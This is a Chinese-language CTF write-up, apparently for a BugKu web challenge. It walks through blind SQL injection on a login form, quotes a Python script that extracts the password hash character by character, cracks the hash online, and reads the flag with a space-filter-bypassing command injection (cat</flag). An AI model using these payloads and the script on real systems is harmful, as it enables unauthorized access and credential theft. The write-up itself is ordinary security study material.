有一个登录页面,习惯性先扫扫
查看一些include发现存在文件
点击进去看不见什么代码,然后再看看别的东西
/images
里面存在提示。这题应该是有注入的漏洞。
当user进行输入的时候,会转换成0,直接输入0时,是没有值的。但是我们可以通过闭合字符串来实现。
构造'-0-'
,对user=’’=0进行闭合。
user=''=0
user=''-0-''=0
此时我们可以构造sql语句来获得密码
(这里我不会写,去别的师傅wp看的)
admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'
首先闭合admin然后后面的这段表示对passwd这列进行字段的提取。
若ascii(MID((passwd)from(“1”)))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin’-1-’ 和 admin’-0-’ 形式
通过判断返回内容是否存在username error!!@_@"来确定条件是否为真
然后利用一下别的师傅写的脚本(https://blog.csdn.net/qq_45774670/article/details/109366269)
#!-*-coding:utf-8-*-
import requests
url = "http://114.67.246.176:15531/login.php"
cookie = {
'PHPSESSID':'6jbkaich9501usgf33jrpp32h2'
}
password = ""
for i in range(1,33):
for j in '0123456789abcdef':
payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
data = {
'uname': payload,
'passwd': '123'
}
r = requests.post(url=url,cookies=cookie,data=data)
#print r.content
if "username error!!@_@" in r.content.decode():
password += j
print(password)
break
得到md5字符串。
https://www.somd5.com/解密网站
得到bugkuctf
登录:账号为'-0-'
,密码就是bugkuctf
ls
发现文件
这里空格被过滤,但是我们可以构造
cat</flag
直接找到flag